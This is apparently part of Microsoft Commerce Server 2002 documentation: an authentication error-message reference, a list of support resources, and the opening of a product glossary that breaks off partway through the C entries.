Message ID | E_UPM_AUTHFILTER_METHOD_FAILED
Component | AuthFilter
Explanation | An error occurred during the process of retrieving a server variable.
User Action | Check the Event Log errors for any log entries relating to IIS.

UPM-AUTH: Invalid character (';' or '%' or '=') present in userID or property name/value.

Error ID | 0xC1004C23
Message ID | E_UPM_AUTHID_INVALID_CAHRACTRER_PRESENT
Component | AuthFilter
Explanation | You have used a character that is not valid in the user ID or property name.
User Action | Check the query string or the cookies collection (depending on where the ticket is stored) and verify that it does not contain any of the following characters: ';' or '%' or '='.

UPM-AUTH: This API should be called only within an ASP.

Error ID | 0xC1004C24
Message ID | E_UPM_AUTHMANAGER_API_ASP_ONLY
Component | AuthManager
Explanation | The AuthManager can only be called within an ASP.
User Action | Try to call the AuthManager again using an ASP call.

UPM-AUTH: Error: Requested Ticket not set.

Error ID | 0xC1004C25
Message ID | E_UPM_AUTHMANAGER_TICKET_NOT_SET
Component | AuthManager
Explanation | The ticket is not available in the cookies collection or the query string.
User Action | Verify that the ticket is available in the cookies collection or the query string.

UPM-AUTH: Error occurred while generating Encryption Key.

Error ID | 0xC1004C26
Message ID | E_UPM_AUTHMANAGER_GENERATE_ENCRYPTIONKEY_FAILED
Component | AuthManager
Explanation | An error occurred during the process of generating an Encryption Key.
User Action | Check the Event Log for detailed information about any related Commerce Server event messages.

UPM-AUTH: Invalid custom property name or value.

Error ID | 0xC1004C27
Message ID | E_UPM_AUTHID_INVALID_PROPERTY
Component | AuthManager
Explanation | The custom property name or value is not valid.
User Action | Verify that the property name or value is valid and enter it again.

UPM-AUTH: Failed in formatting properties on Ticket.

Error ID | 0xC1004C28
Message ID | E_UPM_AUTHID_FORMAT_PROPERTIES_FAILED
Component | AuthManager
Explanation | AuthManager was unable to format properties on the Ticket.
User Action | Verify that the ticket data is valid.

UPM-AUTHF: Failed to encrypt ticket data.

Error ID | 0xC1004C29
Message ID | E_UPM_AUTHID_ENCRYPTION_FAILED
Component | AuthManager
Explanation | AuthManager was unable to encrypt the ticket data.
User Action | Verify that the ticket data is correct and that the length and format of the ticket are valid.

UPM-AUTH: Encryption admin-properties are set wrong (if you enable Encryption, EncryptionKey should be set correctly).

Error ID | 0xC1004C2B
Message ID | E_UPM_AUTHID_ENCRYPTION_PROPS_WRONG
Component | AuthManager
Explanation | The Encryption administration properties have been set incorrectly. If you have enabled encryption, the encryption key must be set correctly.
User Action | Verify that the AuthManager resource settings are correct.

UPM-AUTH: Failed to add SiteConfig entry to local SiteConfig-cache.

Error ID | 0xC1004C2C
Message ID | E_UPM_AUTHID_ADD_SITECONFIG_LOCALCACHE_FAILED
Component | AuthManager
Explanation | AuthManager was unable to add the SiteConfig entry to the local SiteConfig cache.
User Action | Verify that you have sufficient memory on your server.

UPM-AUTH: Failed to delete SiteConfig entry from local SiteConfig-cache.

Error ID | 0xC1004C2D
Message ID | E_UPM_AUTHID_DELETE_SITECONFIG_LOCALCACHE_FAILED
Component | AuthManager
Explanation | AuthManager was unable to delete the SiteConfig entry from the local SiteConfig cache.
User Action | Check the Event Log for detailed information about related Commerce Server events, particularly any events related to admin objects.

UPM-AUTH: Failed to get SiteConfig entry from local SiteConfig-cache.

Error ID | 0xC1004C2E
Message ID | E_UPM_AUTHID_GET_SITECONFIG_LOCALCACHE_FAILED
Component | AuthManager
Explanation | AuthManager was unable to get the SiteConfig entry from the local SiteConfig cache.
User Action | Ensure that the entry exists in the cache and run your operation again.

UPM-AUTH: CryptoAPI-Failed to generate sessionkey from password.

Error ID | 0xC1004C2F
Message ID | E_UPM_AUTHID_GENERATE_SESSIONKEY_FAILED
Component | AuthManager
Explanation | The Crypto API in AuthManager was unable to generate a session key from the user password.
User Action | Check the Event Log for detailed information on any Commerce Server events.

UPM-AUTH: Error in initializing the Encrypt/Decrypt component.

Error ID | 0xC1004C30
Message ID | E_UPM_AUTHID_CRYPTFNC_INIT_FAILED
Component | AuthFilter
Explanation | The AuthFiler ENcrypt/Decrypt component did not initialize.
User Action | Restart the filter by restarting IIS.

UPM-AUTHFILTER: Failed to create cleanup thread for password-cache: <cache name>.

Error ID | 0x41004C38
Message ID | MSG_UPM_AUTH_CREATE_CLEANUP_THREAD_FAILED
Component | AuthFilter
Explanation | AuthFilter was unable to create a cleanup thread for the password cache <cache name>.
User Action | Restart the filter by restarting IIS.

UPM-AUTHFILTER: Filed to create cleanup thread for password-cache.

Error ID | 0xC1004C39
Message ID | E_UPM_AUTH_CREATE_CLEANUP_THREAD_FAILED
Component | AuthFilter
Explanation | AuthFilter was unable to create a cleanup thread for the password cache.
User Action | Restart the filter by restarting IIS.

UPM-AUTHFILTER: Failed to create CommerceServer-UPM-PerfCounter Object for site <site name>.

Error ID | 0x41004C3A
Message ID | MSG_UPM_AUTH_CREATE_UPM_PERFCOUNTER_OBJECT_FAILED
Component | AuthFilter
Explanation | AuthFilter was unable to create the Commerce Server User Profile Management Performance Counter object for the site specified in the error message.
User Action | Verify that the performance .dll file was installed correctly and that the correct .ini files are in the Commerce Server directory.

UPM-AUTHFILTER: Failed to initialize WindowsAuth: <error number>.

Error ID | 0x41004C3B
Message ID | MSG_UPM_AUTH_WINDOWSAUTH_INIT_FAILED
Component | AuthFilter
Explanation | AuthFilter was unable to initialize the WindowsAuth: <file name>.
User Action | Check the Event Log for detailed information on the specific error ID in the message.

UPM-AUTHFILTER: Failed to initialize CacheCleanupThread object: <error number>.

Error ID | 0x41004C3C
Message ID | MSG_UPM_AUTH_WINDOWSAUTH_CLEANUPTHREAD_INIT_FAILED
Component | AuthFilter
Explanation | AuthFilter was unable to initialize CacheCleanupThread object: <object name>.
User Action | Check the Event Log for detailed information on the specific error ID in the message.

UPM-AUTHFILTER: Cleanup thread for password-cache has been successfully started.

Error ID | 0x41004C3D
Message ID | MSG_UPM_AUTH_WINDOWSAUTH_CLEANUPTHREAD_SUCCESSFULLY_STARTED
Component | AuthFilter
Explanation | The cleanup thread for the password cache has been successfully started.
User Action | This is an informational message; no action is necessary.

UPM-AUTH: Empty password-key is not allowed.

Error ID | 0xC1004C3E
Message ID | E_UPM_AUTHID_EMPTY_PASSWORD_KEY
Component | AuthFilter
Explanation | An empty password key is not allowed.
User Action | Check the Event Log for detailed information on this error.

UPM-AUTH: Failed to create CommerceServer-UPM-PerfCounter Object for site <site name>.

Error ID | 0x41004C3F
Message ID | MSG_UPM_AUTHID_CREATE_UPM_PERFCOUNTER_OBJECT_FAILED
Component | AuthFilter
Explanation | AuthFilter was unable to create the Commerce Server User Profile Management Performance Counter Object for the site specified in the error message.
User Action | Verify that the performance .dll file was installed correctly and that the correct .ini files are in the Commerce Server directory.


For Additional Troubleshooting Information

For additional troubleshooting information, see the following resources:

Resource | Location
Debugging topics in Commerce Server 2002 Help
  • Debugging Business Desk
  • Content Selection Framework Concepts
Commerce Server 2002 Readme | Microsoft Commerce Server 2002 Installation CD
Microsoft Commerce Server Web site | http://go.microsoft.com/fwlink/?LinkId=945
Commerce Server Solution Sites Contains technical information and download versions of the Commerce Server Solutions Sites.

http://go.microsoft.com/fwlink/?LinkId=6767
TechNet Contains technical information and tools designed to help you plan, develop, deploy, and manage your e-commerce Web sites.

For information about Commerce Server, select Commerce Server from the Products & Technologies menu on the left side of the screen.

http://go.microsoft.com/fwlink/?LinkId=5160
Microsoft Commerce Server 2002 Software Development Kit (SDK) | Contains technical information for developers creating programs or intelligent Web pages that must integrate with the Commerce Server application programming interface (API). The SDK contains a guide for programmers and references to various Commerce Server and commerce technologies. It also includes samples and header files that you can use to create your own programs. The SDK is included with Commerce Server 2002.
Microsoft Commerce Server 2000 Resource Kit | The Commerce Server 2000 Resource Kit contains technical information and tools designed to help you plan, develop, deploy, and manage your e-commerce Web site. It is available from Microsoft Press.
MSDN information Contains information about Commerce Server and other Microsoft .NET Enterprise Servers. You may find it helpful to visit this site on a regular basis.

Click Search MSDN, and enter Commerce Server to find related documents and white papers. http://go.microsoft.com/fwlink/?LinkId=5161
Microsoft Servers site A guide to the full range of Microsoft server products for IT professionals, developers, and Internet professionals.

http://go.microsoft.com/fwlink/?LinkId=6732
Newsgroups For announcements and support information for this release, see the Microsoft.private.CS2002.Discussion newsgroup on the privatenews.microsoft.com server.

To access this newsgroup, use the following user ID and password:

  • Shared user ID: privatenews\cs2002
  • Password: cs2002

For information about accessing Microsoft newsgroups, see http://go.microsoft.com/fwlink/?LinkId=5816
Premier Support Premier support provides proactive access to specialized technical expertise needed by large enterprises, maximizing business value and minimizing total cost. See the Microsoft customized support sites for Premier customers, or view the following facts sheets for more information. For more information, contact your Microsoft account representative or call Microsoft Enterprise Support Sales at (800) 936-3200 in the United States or Canada.
  • Microsoft Premier Support for Enterprise Systems
  • Microsoft Premier Support for Developers
  • Microsoft Premier Support for MCSPs
  • Microsoft Premier Support for Original Equipment Manufacturers (OEMs)
  • Microsoft Authorized Premier Support

Note

  • For information about Microsoft global support, see Microsoft Help and Support at http://go.microsoft.com/fwlink/?LinkId=10224.


Glossary

A B C D E F G H I J K L M N O P Q R S T U V W X Y Z

Symbols

.NET Framework

A platform for building, deploying, and running Web Services and applications. It provides a highly productive, standards-based, multilanguage environment for integrating the existing investments of an enterprise with next generation applications and services, as well as the agility to solve the challenges of the deployment and operation of Internet-scale applications. The .NET Framework consists of three main parts: the common language run time, a hierarchical set of unified class libraries, and a componentized version of ASP called ASP.NET.

See also: ASP.NET, common language runtime

A

action page

A single ASP file that provides a particular aspect of the functionality associated with a module in Commerce Server Business Desk. For example, an action page might define the properties of a particular product. Action pages are typically displayed as a result of clicking a module name in the navigation pane, or as a result of clicking a task button presented by a different action page in the same module.

See also: status bar

Active Directory

The directory service for Windows NT 4.0 and Windows 2000 Server. Active Directory stores information about objects on the network and makes this information available for authorized system administrators and users. It gives network users access to permitted resources anywhere on the network using a single logon process. It also provides system administrators with an intuitive hierarchical view of the network and a single point of administration for all network objects.

Active Directory Service Interfaces (ADSI)

A Component Object Model-based (COM-based) directory service model that allows ADSI-compliant client applications to access a wide variety of distinct directory protocols, including Windows Directory Services, Lightweight Directory Access Protocol (LDAP), and Novell Directory Services (NDS), while using a single, standard set of interfaces. ADSI shields the client application from the implementation and operational details of the underlying data store or protocol.

Active Server Page Extension (ASPX)

The file extension used for ASP pages written with ASP.NET.

See also: ASP.NET

Active Server Pages (ASP)

A server-side scripting environment used to create dynamic Web pages or to build Web applications. ASP pages are files that contain HTML tags, text, and script commands. ASP pages can call Component Object Model (COM) components to perform tasks, such as connecting to a database or performing a business calculation. With ASP, you can add interactive content to Web pages or build entire Web applications that use HTML pages as the interface to your customers.

Active Template Library (ATL)

A library of C++ templates that facilitate the development of small, efficient COM components. ATL was developed by Microsoft and is included as part of Visual C++.

Active User Object (AUO)

A framework that provides a single, unified access mechanism for all user profile information, removing the need for script authors to worry about specifying user identification and profile storage location. A system administrator can configure a computer to define a virtual namespace of profile information, specifying the configuration information needed to access profile data from a variety of sources.

AUO is technically a container of ADSI objects. A system administrator defines the number of objects that the AUO will contain and provides the information for managing these objects. This allows an extensible model for adding new storage providers or alternate profile sources. By writing or reusing ADSI providers, you can access profile information that exists in any store.

ActiveX Data Objects (ADO)

A high-level, language-independent set of object-based data access interfaces optimized for data application. ADO enables client applications to access and manipulate data from a database server through an OLE DB provider.

See also: ActiveX Data Objects (Multidimensional) (ADO MD)

ActiveX Data Objects (Multidimensional) (ADO MD)

A high-level, language-independent set of object-based data access interfaces optimized for multidimensional data application. Visual Basic and other automation languages use ADO MD as the data access interface to multidimensional data storage. ADO MD is a part of ADO version 2.0 and later.

See also: ActiveX Data Objects (ADO)

ad

A piece of content to be delivered by Commerce Server based on a specific formula for delivery referred to as Need of Delivery (NOD).

ad click

The act of a user clicking on an advertisement or other linked element on a Web page, recorded by the server, that results in the display of a new page or piece of content.

See also: ad click rate, percent click through

ad click rate

The percentage of ad requests that resulted in an ad click.

See also: ad click, ad request

ad ID

The computer-generated identification number for an ad that is added to Commerce Server using the Campaign Manager module.

ad request

An opportunity to deliver an advertising element to a Web site visitor. Requests are generated by events on the site, such as a request for a particular page or the purchase of a specific item. The ad used to fulfill the request is determined by the Need of Delivery (NOD). When you create a campaign or campaign item using the Campaign Manager module, you can enter how many ad requests or clicks are to be recorded by Commerce Server for that campaign or campaign item.

See also: ad click rate, campaign goaling, Need of Delivery (NOD), paid ad, yield

ad target

The result of a set of expressions that describes a situation or a group of users to which an ad is aimed.

Administration database

The SQL Server database that stores the configuration data for the resources for all computers being run as part of the same (logical) installation of Commerce Server. Commerce Server Setup creates this database.

administrator

See system administrator.

ADO

See ActiveX Data Objects.

ADO MD

See ActiveX Data Objects (Multidimensional).

ADSI

See Active Directory Service Interfaces.

advertising asset

A piece of content provided by an advertising customer (for example, text, a photograph, or a company logo) that is used in one or more advertisements run on your site, and which is owned and controlled by the originating advertiser. For example, if you download a .GIF image of a company logo, it remains the property of the company and you must display it with the exact resolution in which it was provided. You cannot change it without approval from the advertiser.

advertising campaign goaling

See campaign goaling.

AE

See asymmetric encryption.

affinity list

A user list created from one of three prediction models: transactions, product browsing, and combined transactions and demographics. You create affinity lists in Business Desk and then export them to List Manager. You can then create a direct mail campaign to target users who are likely to buy a specific product.

See also: Campaign Manager module, Affinity Lists module

Affinity Lists module

The Commerce Server Business Desk module used to create a user list from one of the following prediction models: transactions, product browsing, and combined transactions and demographics. You can then export the list to the List Manager module and create a direct mail campaign targeting those users.

See also: affinity list

AggregateColumn

A column in a dense or sparse table that assigns values to the properties identified in the PivotColumn. For example, if the PivotColumn contains product stock keeping units (SDKs), the AggregateColumn contains the number of times each product was purchased. If the PivotColumn contains PageGroupIDs, the AggregateColumn contains the number of times each page group had been seen. If the PivotColumn contains AdIDs, the AggregateColumn contains the number of times each ad has been clicked. The AggregateColumn is identified in the PredictorDataTables table.

See also: page group, CaseColumn, sparse table, dense table, PivotColumn

aggregated catalog

A virtual catalog that displays content from two or more catalogs. For example, if you are selling content from multiple suppliers, each of which sends you one or more catalogs, you can combine the content into one aggregated catalog. To the user visiting your site, an aggregated catalog appears as though it is one catalog. An aggregated catalog is different from a catalog set in that you specify which users or organizations view a catalog set; an aggregated catalog is available to all users. It is recommended that you materialize all aggregated virtual catalogs for improved performance.

See also: materialize, virtual catalog, catalog set

aggregation

A table or structure containing pre-calculated data for an online analytical processing (OLAP) cube. Aggregations support the rapid and efficient querying of a multidimensional database.

Alt text

The text string that appears in place of an image when a Web page is loading, when graphics are not being displayed, or when users pause on the image itself with their mouse. Users who either do not have a graphical browser or who have chosen not to download graphics can use the Alt text string to identify the graphic that is not displayed.

alternate currency

The currency unit used on a site to convert and format a second currency for dual display. This property is typically used on European sites that use the EuroDisplay object to display prices in both the base currency and Euro formats.

ancestor category

A category that is closer to the root category through one or more parent-child relationships. A parent category is an ancestor category, as is the parent of the parent, and so forth.

See also: parent category, root category, child category, descendant category

anonymous access

See anonymous authentication.

anonymous authentication

One of the authentication methods that you can set at the Web Site or Application levels in IIS. Anonymous authentication is used to establish an anonymous Web (HTTP) connection without providing a user name or password. It is commonly used in the public areas of an Internet site. If you enable anonymous authentication for a site, an anonymous connection will be made even if authenticated access has also been enabled, unless more restrictive NTFS permissions exist on the individual file being requested. Also called anonymous access.

anonymous user

A user who accesses content on a Web site without providing a user login name and password. Sometimes called a guest user.

apartment-threaded components

COM components that reside on a single thread of execution. Apartment-threaded components rely on COM to synchronize calls to them. All COM objects created with Visual Basic are apartment threaded.

App Default Config resource

A Commerce Server resource with site-level properties, managed through Commerce Server Manager. Use App Default Config to set properties that determine site functionality in areas such as currency options, billing options, and BizTalk Server integration.

application

From a Commerce Server 2002 administration standpoint, an application is an ASP application accessible through a single Uniform Resource Locator (URL). An application appears in both the Commerce Server and IIS console trees. The application that appears in the Commerce Server Manager console tree is a logical representation of the application in IIS.

Application Center 2000

A Microsoft deployment and management tool for high-availability Web applications built on Windows 2000.

arc

A graphical representation of a statistical relationship, as displayed in a dependency network. An arc from node A to node B, for example, means that attribute A helps to predict attribute B, but it does not mean that attribute B helps to predict attribute A.

See also: dependency network

area

A grouping for custom module security entities that can be secured within Business Desk. Business Desk includes two default areas: Catalogs and Profiles. Your system administrator can add more areas to Business Desk if you want other customized groups.

See also: Permissions module, entity, element

ASP

See Active Server Pages.

ASP.NET

The framework for building server-based Web applications. An evolution of Active Server Pagers (ASP) into the managed code space.

See also: managed code, .NET Framework, Active Server Page Extension (ASPX)

ASPX

See Active Server Page Extension.

assembly

A collection of functionalities built, versioned, and deployed as a single implementation unit (in one or multiple files). An assembly is the primary building block of a .NET application. All managed types and resources are marked either as accessible only within their implementation unit or as exported for use by code outside that unit. In the run time, the assembly establishes the name scope for resolving requests and the visibility boundaries are enforced. The run time can determine and locate the assembly for any running object because every type is loaded in the context of an assembly.

See also: namespace, Primary Interop Assembly (PIA)

asset

See advertising asset.

asymmetric encryption (AE)

A method of encryption that uses two encryption keys that are mathematically related. One key is called the private key and is kept confidential. The other is called the public key and is freely given out to all potential correspondents. The complexity of the relationship between the public key and the private key means that, provided the keys are long enough, it is computationally infeasible to determine one from the other.

ATL

See Active Template Library.

ATL Pipeline Component Wizard

A Visual C++ wizard that uses ATL and additional templates to facilitate the development of pipeline components.

attribute

A characteristic that describes a property, object, or person. Attributes can include information such as the data type of the property (for example, number, text, or decimal), whether the property is exported to the Commerce Server Data Warehouse, whether the property is shown to users, or whether the property is full-text indexed. It can refer to a set of values such as hair color or age. Depending on the property or object being described, an attribute could also be called a variable, column, or dimension.

See also: node

auditing

Tracking the activities of users by recording selected types of events in the security log of a server or workstation.

AUO

See Active User Object.

authenticated access

A user access option that you can set at the Default Web Site or Application levels in IIS. As opposed to anonymous access, authenticated access requires a user to have a valid account and password to access the site. The three types of authenticated access are Basic authentication, Digest authentication, and Integrated Windows authentication.

Authentication Service

See CS Authentication resource.

authentication ticket

A ticket Commerce Server creates for registered users. Also called an MSCSAuth ticket.

See also: ticket, profile ticket

authorization

A process that verifies that a user has the correct permissions to access a resource such as a Web page or database, or has the correct privileges to perform a task such as performing backups. Authorization is typically set up by a system administrator, or site developer, and checked and cleared by the computer. The user provides some type of identification, such as a code number or a password, which the computer verifies against its internal records.

availability

A measure of fault tolerance for a computer, server cluster, or system and its programs. A highly available computer or system is one that is up and operating at an acceptable service level at least 99.9 percent of the time.

B

base catalog

A source catalog from which a virtual catalog is derived.

See also: catalog, catalog set, virtual catalog, materialize

Base Class Library (BCL)

A collection of classes, interfaces, and value types that are included in the Commerce Server .NET Application Framework. This library provides access to run-time Commerce Server functionality and is designed to be the foundation on which .NET-based Commerce Server applications, components, and controls are built.

base currency

The currency a business uses to record all transactions in their ledgers, or the primary currency in which they transact with their bank. The base currency is also commonly referred to as the billing currency, functional currency, or booking currency of a business. The Order Processing pipeline always processes orders using the base currency of the Web site. The base currency can be different than the buyer currency and the supplier currency. The base currency is stored in the billing_currency field in the orderform header.

See also: buyer currency, multicurrency order, multicurrency transaction, supplier currency

basket

The list of items a user selects to purchase from a commerce Web site. The list is usually compiled into a file.

See also: Basket Manager module

Basket Manager module

The Commerce Server Business Desk module used to manage the shopping baskets of users who visit your Web site. Users can save a shopping basket so that they can return to the site and purchase the items at a later date. Use Basket Manager to find and delete abandoned baskets (saved baskets that have been left inactive for a lengthy period).

See also: basket

BCL

See Base Class Library.

BCP

See Bulk Copy Program.

Biz Data Service

The name of the Profiles resource as it appears in the pup.log file.

See also: Profiles resource

BizTalk Server 2000

A Microsoft product that provides the tools and infrastructure that companies need to exchange business documents among various platforms and operating systems regardless of the application being used to process a business document.

Bulk Copy Program (BCP)

A command prompt bulk copy utility that copies SQL Server data to or from an operating system file in a user-specified format.

Business Desk

See Commerce Server Business Desk.

Business Desk framework

The set of HTML components (HTCs), utility routines, include files, configuration files, navigation mechanisms, and conventions that allow easier and more standardized implementation of Business Desk modules.

Business Desk module

A choice you can select from the navigation pane in Commerce Server Business Desk. For example, you can choose the Campaign Manager, Catalog Definition Designer, or Reports module. Each Business Desk module is a set of ASP files that provides a particular type of related functionality and is organized with one or more entry points from the navigation pane.

Business Desk Permissions resource

A Commerce Server resource with site-level properties, managed through Commerce Server Manager. Use the Business Desk Permissions resource to configure the connection string to the database containing Business Desk permissions data.

business logic tier

One or more applications that communicate with the user interface tier and the database tier. In a Commerce Server installation, the business logic tier includes the following Commerce Server components: the Business Analytics System, the Product Catalog System, the Profiling System, the Targeting System, List Manager, Predictor client, and Pipeline components.

business manager

The primary user of Commerce Server Business Desk. The business manager typically has knowledge of business goals, strategies, and processes for creating and running a successful e-commerce Web site.

business-to-business site

A commerce Web site designed for the creation and transmission of purchase orders between businesses that have an established relationship. Also known as a supplier site or a B2B site.

business-to-consumer site

A commerce Web site that provides retail shopping directly to the public. Also known as a retail site or a B2C site.

Buy Now

A content template used in Commerce Server to facilitate impulse shopping: a user can purchase goods from any Web page on the Internet. When a user clicks a product image, a dialog box appears prompting the user for shipping address and credit card information.

buyer currency

The currency in which the user chooses to view the prices displayed on the site. The buyer currency (when different than the base currency) is used for display purposes only. The Order Processing pipeline always processes orders in the base currency of the site. The buyer_currency field is stored in the orderform header.

See also: base currency, supplier currency, multicurrency order

C

cache

A memory subsystem in which frequently used data values are duplicated for quick access. A cache stores the contents of frequently accessed RAM locations and the addresses where these data items are stored. When the processor references an address in memory, the cache checks to see whether it holds that address. If it does, the data is returned to the processor; if it does not, a regular memory access occurs.

A cache is useful when RAM accesses are slow compared with the microprocessor speed, because cached memory is faster than main RAM memory. Using Commerce Server Business Desk, you can empty the caches that store profile data, catalog data, transactions data, and campaign data for your site. The next time Commerce Server receives a request for this data, the updated data is loaded in the caches.

See also: Publish Campaigns module, Publish Profiles module, Publish Order Codes module

Cache Loader

A component used by the CacheManager object to load data into a cache Dictionary object. Although this component is implemented as a pipeline component, it is not run in the context of a pipeline.

Cache Writer

A component used by the CacheManager object to write activity data from a cache Dictionary object. Although this component is implemented as a pipeline component, it is not run in the context of a pipeline.

caching

Storing frequently used documents, images, Common Gateway Interface (CGI) or ASP scripts, or Internet Server API (ISAPI) extension dynamic-link libraries (DLLs) in memory to improve performance. For more information, see the topic "Caching Applications" in IIS Help. Also called file caching or document caching.

campaign

A marketing program that uses many communication vehicles (for example, ads and direct mail) to accomplish a specific result, such as increasing marketing share, introducing new products, or retaining customers.

Campaign Expressions module

The Commerce Server Business Desk module used to create and manage expressions.

See also: personalization

campaign goaling

Determining the number of ads to deliver in a specified amount of time. You can goal by any event, such as clicks or amount sold. Commerce Server supports goaling for ads, but not for discounts. Using Commerce Server Business Desk, you can goal campaigns at the campaign level or the ad level.

For example, you perform goaling at the campaign level and your customer orders 25,000 ad requests. At the campaign item level, one ad is set up to display 60 percent of the ad requests, and the other ad is set up to display 40 percent of the ad requests. If the customer changes the number of ad requests, for example, to 40,000, you do not have to manually change the number of times the ads appear; they will still appear 60 percent and 40 percent. If you goal at the campaign item level, you set the ad request goals for each individual ad.

See also: ad request, paid ad, yield

campaign item

A communication vehicle that contributes to the specified result of a campaign. You can create three types of campaign items in Commerce Server: ads, direct mail, or discounts. You can use third-party products to create additional types of campaign items.

campaign item ID

The computer-generated identification number for a campaign item.

Campaign Manager module

The Commerce Server Business Desk module used to create customer accounts, and then create and manage advertising campaigns, discount campaigns, and direct mail campaigns.

See also: affinity list

Campaigns resource

A Commerce resource with site-level properties, managed through Commerce Server Manager. Use it to configure the connection string to the database containing campaign data.

canonical path

The definitive path for navigating to a category or product that is a member of more than one category. The primary parent category determines the canonical path to a category or product; a category or product can have only one primary parent category. You can display the canonical path to the category or product being viewed by users visiting your Web site, for example, at the top of a page, to show them the organization of the catalog.

See also: primary parent category

capacity planning

Planning for application, hardware, and network requirements to support expected site traffic and to achieve site performance goals.

case

The set of all the information known about a specific user, such as user profile data and transaction history. Individual cases are constructed from data in the Commerce Server Data Warehouse. The cases are the input from which Commerce Server builds a Prediction model.

See also: measured accuracy sample fraction, sample size, sparse table, CaseColumn, dense table

case extractor

A component that reads data from the Commerce Server Data Warehouse and produces cases for model building.

case identifier

An ID that is unique for each user.

CaseColumn

A column in a dense or sparse table that uniquely identifies a case. For example, in a case that contains information about a user, the column that contains the UserID is the CaseColumn. The CaseColumn is identified in the PredictorDataTables table.

See also: case, sparse table, PivotColumn, dense table, AggregateColumn

catalog

A collection of categories and products. Each catalog has a unique name. Commerce Server supports two types of catalogs: base catalogs and virtual catalogs.

See also: virtual catalog, base catalog

catalog data

The content of a catalog, including data about the individual product items and their organized categories.

catalog definition

A description of a catalog that specifies its category definitions, product definitions, and property definitions. Several catalogs can share one definition. Use the Catalog Definition Designer module to manage catalog definitions.

Catalog Definition Designer module

The Commerce Server Business Desk module used to create and manage catalog definitions. Catalog definitions consist of category definitions, product definitions, and property definitions. These components are the foundation of the categories, products, and properties in catalogs.

Catalog Editor module

The Commerce Server Business Desk module used to edit and manage catalogs. The Catalog Editor module supports adding, editing, and deleting products and categories, as well as, importing and exporting catalogs and refreshing full-text indexing.

catalog expression

An expression that specifies which products in a catalog a discount may be applied to.

catalog properties

The basic properties that describe a catalog, such as name, start date, end date, currency, unit of weight measure, and product unique ID. Use the Catalog Editor module to manage catalog properties.

catalog set

A group of one or more catalogs that you make available to different users or organizations. For example, you may create two catalogs that you display to members of a specific organization, and then create two other catalogs that you make available to a different organization. This gives you four catalogs that have been grouped into two catalog sets. Base catalogs, virtual catalogs, and aggregated catalogs may be members of a catalog set.

See also: aggregated catalog, base catalog, virtual catalog

Catalog Sets module

The Commerce Server Business Desk module used to create and manage catalog sets.

category

A container for products or sub-categories. Each category is an individual instance of a category definition. For example, a category based on the Department category definition (which has the properties Description and Manager) may be named Hardware, and have the properties Power Tools (Description) and Frank Lee (Manager). Use the Catalog Editor module to manage categories.

category (Commerce Server Business Desk)

An organizational construct used within the navigation pane that allows the grouping of related Commerce Server Business Desk modules.

category definition

The properties that are available in a particular type of category. One category definition may be used for many categories. For example, the Department category definition could contain Description and Manager properties. Use the Catalog Definition Designer module to manage category definitions.

category hierarchy

A hierarchy within a category where one category is specified as a parent and one (or more) category is a child. A category cannot be both a parent and a child (descendent) of the same category.

category properties

The properties that form a category definition. For example, the Department category definition may have the following properties: Description and Manager. Use the Catalog Definition Designer module to manage category properties.

category relationship

A way of associating one product with another product or category. Category relationships have names, a description, and a target. A category can be related to another category (for example, a relationship from the Jeans category to the Belts category). A category can also be related to an individual product (for example, to a featured item within the category). A category can have multiple relationships with other categories and/or products.

CCW

See COM-callable wrapper.

channel

A named set of properties that identifies the source of documents and defines specific processing steps that BizTalk Server performs before a document is delivered to the destination designated by the messaging port with which the channel is associated.

checkout

The process of finalizing a purchase on a Web site. For example, when customers shop on your Web site, they may select several items and save them in their shopping basket. When they have finished shopping, they click on a checkout link or graphical button that takes them to an online form where they enter their name, billing address, payment type, and shipping information.

child category

An entity used in catalogs to group a set of products together in a hierarchy. A child category is a subordinate of a parent category. For example, Music is a parent category, and Rock, Jazz, and Classical are child categories. You create parent and child categories to organize the products displayed on your site.

See also: ancestor category, descendant category, parent category, root category

class

A logical collection of related data members. Classes typically model physical objects (user, product) or conceptual entities (visit, Web hit). An instance of a class represents user data imported into the Commerce Server Data Warehouse. A class maps to a table definition in the underlying relational database.

See also: data member

class key

The subset of data members of a class whose values uniquely identify an instance of the class.

See also: key

class key member

One of the members of a multi-valued class key.

class member relation

An association between specific data members of the two classes in a class relation.

class meta-data

A conceptual model that describes the attributes that must be specified to create a class in the Commerce Server Data Warehouse logical schema.

class relation

A connection between two classes in a parent-child relationship. The relation defines the number of instances of each class. In the Commerce Server Data Warehouse, nearly all class relations are many-to-one. This means that a parent may not have any children, or may have one or more children.

click frequency

The number of clicks divided by the reach of clicks.

See also: reach

click URL

The URL that users see when they click a piece of content on your Web site or in a direct mail message.

client

The program or user that makes a request in a client/server relationship. For example, someone who uses Commerce Server Business Desk makes client requests for information from the Business Desk server.

closed visit

A visit completed before a log file stops collecting data.

See also: open visit, log file, visit

CLS

See Common Language Specification.

cluster

In the Commerce Server Predictor feature, a group of users who share certain profile characteristics. Clusters are identified by the Predictor resource, and can be viewed using the Segment Viewer module.

See also: Web farm

code value

An abbreviation used to represent textual information for properties such as country/region, state/province, and order status. For example, WA is the code value for Washington.

column dimension

A dimension in a dynamic report that defines data in a column heading. You can select any dimension to be a column dimension or a row dimension.

See also: dimension, filter dimension, row dimension

COM

See Component Object Model.

COM-callable wrapper (CCW)

A proxy object generated at run time so that existing COM applications can use managed classes, including .NET Framework classes, transparently.

comma-delimited file

See comma-separated value file.

comma-separated value file (.csv)

A text file that uses the comma character to separate, or delimit, columns or database fields. Most databases and other programs can export and import a CSV file, so that database files can be created in one program and used by another program.

Commerce application

See application.

Commerce Module

An extension to the ASP.NET HTTP module framework. Commerce Modules are responsible for initializing run-time services specific to .NET-based Commerce Server applications. Commerce Modules are derived from the Microsoft.CommerceServer.Runtime.CommerceModule base class. A commerce module is an HTTP module.

See also: HTTP module

Commerce Server Business Desk

A Web-based site management tool available in Commerce Server 2002 that hosts business management modules you use to manage and analyze your commerce sites. For example, you can update pricing information in your catalog, target new ads to specific users, and then run reports to measure how these changes affect site productivity. Commerce Server Business Desk is accessible from any computer running Microsoft Internet Explorer 5.5 and because it is Web based, it can be accessed either locally or remotely.

By default, every Commerce Server Web site has a distinct instance of Business Desk associated with it. The framework is implemented primarily as Dynamic Hypertext Markup Language (DHTML). It is designed so that site developers can modify or extend the management functionality provided with Business Desk.

Commerce Server Business Desk Framework

A set of services provided for use by Business Desk modules. These services include navigation, security, and user interface controls. In addition, the Framework provides a set of standardized mechanisms that define how to integrate Commerce Server Business Desk modules.

Commerce Server Direct Mailer

